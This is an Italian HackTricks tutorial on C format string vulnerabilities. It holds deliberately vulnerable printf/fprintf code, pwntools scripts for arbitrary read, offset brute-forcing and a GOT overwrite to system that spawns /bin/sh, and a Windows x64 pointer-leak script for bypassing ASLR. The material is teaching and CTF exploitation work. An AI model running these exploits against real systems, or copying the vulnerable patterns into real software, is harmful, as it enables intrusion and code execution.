Format Strings
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
In C printf è una funzione che può essere usata per stampare una stringa. Il primo parametro che questa funzione si aspetta è il testo grezzo con i formatters. I parametri successivi sono i valori con cui sostituire i formatters presenti nel testo grezzo.
Altre funzioni vulnerabili sono sprintf() e fprintf().
La vulnerabilitĂ si manifesta quando un attacker text è usato come primo argomento di questa funzione. Lâattacker sarĂ in grado di costruire un input speciale che abusa delle capacitĂ della stringa di formato di printf per leggere e scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile). In questo modo è possibile eseguire codice arbitrario.
Formatters:
%08x â> 8 hex bytes
%d â> Entire
%u â> Unsigned
%s â> String
%p â> Pointer
%n â> Number of written bytes
%hn â> Occupies 2 bytes instead of 4
<n>$X â> Direct access, Example: ("%3$d", var1, var2, var3) â> Access to var3
Esempi:
- Esempio vulnerabile:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso normale:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Con argomenti mancanti:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerabile:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Accesso ai puntatori
Il formato %<n>$x, dove n è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf potresti fare:
printf("%x %x %x %x")
e leggeresti dal primo al quarto parametro.
Oppure potresti fare:
printf("%4$x")
e leggere direttamente il quarto.
Notice that the attacker controls the printf parameter, which basically means that his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.
Caution
Un attaccante che controlla questo input sarĂ in grado di aggiungere indirizzi arbitrari nello stack e far sĂŹ che
printfli acceda. Nella sezione successiva sarĂ spiegato come usare questo comportamento.
Arbitrary Read
Ă possibile usare il formatter %n$s per far sĂŹ che printf prenda lâindirizzo situato nella posizione n, seguirlo e stamparlo come se fosse una stringa (stampa fino a quando non viene trovato 0x00). Quindi, se lâindirizzo base del binary è 0x8048000, e sappiamo che il user input inizia alla 4a posizione nello stack, è possibile stampare lâinizio del binary con:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
Caution
Nota che non puoi mettere lâindirizzo 0x8048000 allâinizio dellâinput perchĂŠ la stringa conterrĂ 0x00 alla fine di quellâindirizzo.
Trova lâoffset
Per trovare lâoffset rispetto al tuo input puoi inviare 4 o 8 byte (0x41414141) seguiti da %1$x e aumentare il valore finchĂŠ non recuperi le A's.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = fâAAAA%{i}$xâ.encode()
Start a new process of the âchallâ binary
p = process(â./challâ)
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string â41414141â (hexadecimal representation of âAAAAâ) is in the output
if bâ41414141â in output:
If the string is found, log the success message and break out of the loop
log.success(fâUser input is at offset : {i}â) break
Close the process
p.close()
</details>
### Quanto è utile
Arbitrary reads possono essere utili per:
- **Dump** del **binary** dalla memoria
- **Access a parti specifiche della memoria dove sono memorizzate** **info** sensibili (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti char vuole con printf, potrà far sÏ che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
Fortunatamente, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input: è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
```bash
AAAA%.6000d%4\$n â> Write 6004 in the address indicated by the 4Âş param
AAAA.%500\$08x â> Param at offset 500
Tuttavia, nota che solitamente, per scrivere un indirizzo come 0x08049724 (che è un numero ENORME da scrivere in una sola volta), si usa $hn invece di $n. Questo permette di scrivere solo 2 Bytes. Perciò questa operazione viene fatta due volte, una per i 2B piĂš alti dellâindirizzo e unâaltra per quelli piĂš bassi.
Quindi, questa vulnerabilitĂ permette di scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).
In questo esempio, lâobiettivo sarĂ quello di sovrascrivere lâindirizzo di una function nella tabella GOT che verrĂ chiamata piĂš tardi. Anche se questo potrebbe sfruttare altre tecniche di arbitrary write to exec:
Ci accingiamo a sovrascrivere una function che riceve i suoi argomenti dallâutente e puntarla verso la funzione system.
Come detto, per scrivere lâindirizzo di solito sono necessari 2 passaggi: prima si scrivono 2 Bytes dellâindirizzo e poi gli altri 2. Per farlo si usa $hn.
- HOB indica i 2 byte piĂš alti dellâindirizzo
- LOB indica i 2 byte piĂš bassi dellâindirizzo
Poi, a causa del funzionamento delle format string è necessario scrivere prima il piĂš piccolo tra [HOB, LOB] e poi lâaltro.
If HOB < LOB[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
If HOB > LOB[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NÂşParam_dir_HOB LOB_shell-HOB_shell NÂşParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Modello Pwntools
Puoi trovare un template per preparare un exploit per questo tipo di vulnerabilitĂ in:
Oppure questo esempio di base da here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Ă possibile abusare delle azioni di scrittura di una vulnerabilitĂ di format string per scrivere in indirizzi dello stack e sfruttare una vulnerabilitĂ di tipo buffer overflow.
Windows x64: Format-string leak to bypass ASLR (no varargs)
Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molte call-site vulnerabili la stringa controllata dallâattaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
PoichĂŠ non vengono passati varargs, qualsiasi conversione come â%pâ, â%xâ, â%sâ farĂ sĂŹ che il CRT legga il successivo argomento variadico dal registro appropriato. Con la calling convention Microsoft x64 la prima lettura di questo tipo per â%pâ proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrĂ stampato. In pratica questo spesso provoca un leak di un puntatore stabile in-module (es., un puntatore a un oggetto locale/globale precedentemente messo in R9 dal codice circostante o un valore salvato dal callee), che può essere usato per recuperare la module base e bypassare ASLR.
Practical workflow:
- Inietta un formato innocuo come â%p â allâinizio della stringa controllata dallâattaccante, in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
- Cattura il pointer leak, identifica lâoffset statico di quellâoggetto allâinterno del modulo (eseguendo una singola reverse con simboli o con una copia locale), e recupera lâimage base come
leak - known_offset. - Riusa quella base per calcolare indirizzi assoluti di ROP gadgets e IAT entries da remoto.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Note:
- Lâesatto offset da sottrarre si trova una volta durante local reversing e poi viene riutilizzato (same binary/version).
- Se â%pâ non stampa un puntatore valido al primo tentativo, provare altri specifier (â%llxâ, â%sâ) o conversioni multiple (â%p %p %pâ) per campionare altri argument registers/stack.
- Questo pattern è specifico della Windows x64 calling convention e delle implementazioni printf-family che prendono varargs inesistenti dai registri quando la format string li richiede.
Questa tecnica è estremamente utile per bootstrap ROP su Windows services compilati con ASLR e senza ovvie memory disclosure primitives.
Altri esempi & riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, uso base di format strings per effettuare un leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere lâindirizzo di
fflushcon la funzione win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in
.fini_array(cosĂŹ il flusso torna indietro 1 volta in piĂš) e scrivere lâindirizzo disystemnella GOT puntando astrlen. Quando il flusso torna in main,strlenviene eseguito con input utente e puntando asystem, eseguirĂ i comandi passati.
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

